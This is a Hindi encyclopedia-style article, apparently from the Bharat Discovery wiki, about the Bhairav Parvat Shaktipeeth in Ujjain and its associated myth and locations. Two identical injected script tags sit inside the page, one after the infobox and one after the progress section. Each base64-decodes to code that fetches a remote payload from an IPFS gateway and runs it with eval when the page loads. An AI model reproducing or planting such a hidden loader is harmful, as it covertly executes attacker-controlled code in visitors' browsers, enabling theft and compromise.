भैरवपर्वत शक्तिपीठ

भारत डिस्कवरी प्रस्तुति
(भैरव पर्वत शक्तिपीठ से पुनर्निर्देशित)
यहाँ जाएँ:भ्रमण, खोजें
भैरवपर्वत शक्तिपीठ
माँ अवंतिका, उज्जैन
वर्णन 'भैरवपर्वत शक्तिपीठ' भारतवर्ष के अज्ञात 108 एवं ज्ञात 51 शक्तिपीठों में से एक है। इसका हिन्दू धर्म में बड़ा ही महत्त्व है।
स्थान उज्जैन, मध्य प्रदेश
देवी-देवता शक्ति- 'अवंती' तथा भैरव- 'लंबकर्ण'
संबंधित लेख शक्तिपीठ, सती, शिव, पार्वती
धार्मिक मान्यता सती के "ऊर्ध्व ओष्ठ" (ऊपरी होठ) का निपात स्थल भैरव पर्वत है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भैरवपर्वत शक्तिपीठ 51 शक्तिपीठों में से एक है। हिन्दू धर्म के पुराणों के अनुसार जहां-जहां सती के अंग के टुकड़े, धारण किए वस्त्र या आभूषण गिरे, वहां-वहां शक्तिपीठ अस्तित्व में आये। ये अत्यंत पावन तीर्थस्थान कहलाये। ये तीर्थ पूरे भारतीय उपमहाद्वीप पर फैले हुए हैं। देवीपुराण में 51 शक्तिपीठों का वर्णन है।

  • सती के "ऊर्ध्व ओष्ठ" (ऊपरी होठ) का निपात स्थल भैरव पर्वत है, किंतु इसकी स्थिति को लेकर विद्वानों में मतभेद है। कुछ उज्जैन के निकट शिप्रा नदी तट स्थित भैरवपर्वत को, तो कुछ गुजरात के गिरनार पर्वत के सन्निकट भैरवपर्वत को वास्तविक शक्तिपीठ मानते हैं। अत: दोनों स्थानों पर शक्तिपीठ की मान्यता है।
  • यहाँ की शक्ति 'अवंती' तथा भैरव 'लंबकर्ण' हैं।
  • शक्ति के अवंती होने से उज्जैन में शक्तिपीठ मानना ज़्यादा उचित प्रतीत होता है।
  • उज्जैन भोपाल (मध्य प्रदेश राजधानी) से 185 कि.मी. तथा इंदौर से 80 किलोमीटर नई दिल्ली-पुणे रेलमार्ग पर स्थित है।
  • उज्जैन का महाकालेश्वर मंदिर भी दर्शनीय है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  • पुस्तक- महाशक्तियाँ और उनके 51 शक्तिपीठ | लेखक- गोपालजी गुप्त | पृष्ठ संख्या-103 | प्रकाशक- पुस्तक महल

बाहरी कड़ियाँ

संबंधित लेख